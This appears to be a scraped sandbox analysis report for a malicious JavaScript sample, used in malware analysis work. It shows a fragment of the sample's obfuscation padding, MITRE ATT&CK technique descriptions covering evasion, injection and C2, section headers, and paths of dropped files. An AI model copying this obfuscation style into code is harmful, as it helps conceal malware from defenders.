1499	eernnka = "o";
1500	eernnka = "G";
1501	eernnka = "M";
1502	eernnka = "T";
1503	eernnka = "z";
1504	eernnka = "T";
1505	eernnka = "C";
1506	eernnka = "x";
1507	eernnka = "E";
1508	eernnka = "Q";
1509	eernnka = "e";
1510	eernnka = "k";
1511	eernnka = "P";
1512	eernnka = "z";
1513	eernnka = "D";
1514	eernnka = "l";
1515	eernnka = "C";
1516	eernnka = "m";
1517	eernnka = "q";
1518	eernnka = "D";
1519	eernnka = "w";
1520	eernnka = "R";
1521	eernnka = "m";
1522	eernnka = "F";
1523	eernnka = "Y";
1524	eernnka = "T";
1525	qmqvujw = "r";
1526	qmqvujw = "e";
1527	qmqvujw = "A";
1528	qmqvujw = "r";
1529	qmqvujw = "u";
1530	qmqvujw = "T";
1531	qmqvujw = "m";
1532	qmqvujw = "a";
1533	qmqvujw = "W";
1534	qmqvujw = "h";
1535	qmqvujw = "F";
1536	qmqvujw = "J";
1537	qmqvujw = "X";
1538	qmqvujw = "G";
1539	qmqvujw = "u";
1540	qmqvujw = "i";
1541	qmqvujw = "L";
1542	qmqvujw = "H";
1543	qmqvujw = "x";
1544	qmqvujw = "Z";
1545	qmqvujw = "G";
1546	qmqvujw = "q";
1547	qmqvujw = "O";
1548	qmqvujw = "P";
1549	qmqvujw = "v";
1550	qmqvujw = "l";
1551	lxhpt = "X";
1552	lxhpt = "O";
1553	lxhpt = "C";
1554	lxhpt = "V";
1555	lxhpt = "\"";
1556	ahhbunoy = "o";
1557	ahhbunoy = "U";
1558	ahhbunoy = "X";
1559	ahhbunoy = "D";
1560	ahhbunoy = "L";
1561	ahhbunoy = "Q";
1562	ahhbunoy = "P";
1563	ahhbunoy = "H";
1564	ahhbunoy = "y";
1565	ahhbunoy = "R";
1566	ahhbunoy = "a";
1567	ahhbunoy = "P";
1568	ahhbunoy = "m";
1569	ahhbunoy = "C";
1570	ahhbunoy = "O";
1571	ahhbunoy = "q";
1572	ahhbunoy = "u";
1573	ixigxizl ( );	ixigxizl() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 10323218772870612560.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0d9220ee-f2b2-48f0-8ffe-83c6bbc7f01b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9f3bad72-3e37-42ab-9a9c-08d639f5f802.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5d2602.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
10323218772870612560.js